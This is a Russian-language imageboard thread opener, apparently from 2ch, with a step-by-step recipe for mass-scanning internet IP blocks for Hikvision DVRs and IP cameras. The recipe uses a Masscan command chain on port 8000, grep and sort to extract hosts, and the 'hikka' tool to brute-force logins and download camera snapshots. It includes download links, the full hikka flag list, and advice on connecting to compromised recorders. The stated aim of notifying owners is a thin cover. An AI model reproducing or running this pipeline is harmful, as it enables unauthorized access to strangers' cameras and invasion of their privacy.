В этом треде проверяем видеорегистраторы и IP камеры Hikvision на простые пароли. О найденных проблемах сообщаем их владельцам. Для этого нам понадобятся блоки IP https://www.iwik.org/ipcountry/ или https://ipgeobase.ru/cgi-bin/AdvSearch.cgi , программы Masscan ( https://github.com/robertdavidgraham/masscan , https://mega.nz/#!R5tXlAZa!IihDrWMrCrXXjZz9nTkyBFDWi3OrClw70Bp_kSn9xv4 ), Grep (https://gnuwin32.sourceforge.net/packages/grep.htm ), Sort (https://gnuwin32.sourceforge.net/packages/coreutils.htm ) и Hikka ( https://github.com/superhacker777/hikka , https://mega.nz/#!34dUgKYb!fIOyCSbPQ7OntbexrvTwsFwIx-ZDFb2WKV6ZxaetU1U ). Запускаем: masscan.exe -p8000 -iL targets.txt --rate=100000 -oX myscan.xml && grep.exe -E -o "([01]?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.([01]?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.([01]?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.([01]?[0-9][0-9]?|2[0-4][0-9]|25[0-5])" myscan.xml > result.txt && sort.exe -u result.txt > hosts && DEL myscan.xml result.txt && hikka -threads 200 -check -shoots good

В targets.txt нужно вставить блоки IP. В logins и passwords должны быть ваши логины и пароли. В папку good будут сохранятся изображения с камер. После перебора можно подключиться к видеорегистратору при помощи программы IVMS-4200 https://overseas.hikvision.com/europe/Tools_84.html .

Полный список команд hikka:

-bf-threads int Bruteforcer threads count (default 1)
-check Check cameras (experimental and not fully tested, but very useful)
-csv string Write result to CSV
-json string Write result to JSON
-logins string A file with a list of logins to bruteforce (default "logins")
-m3u string Write result to m3u playlist
-passwords string A file with a list of passwords to bruteforce (default "passwords")
-port int Camera service port (default 8000)
-shoots string Download pics from cameras into a folder
-threads int Threads count (default 1)

Предыдущий тред: >>100102 (OP)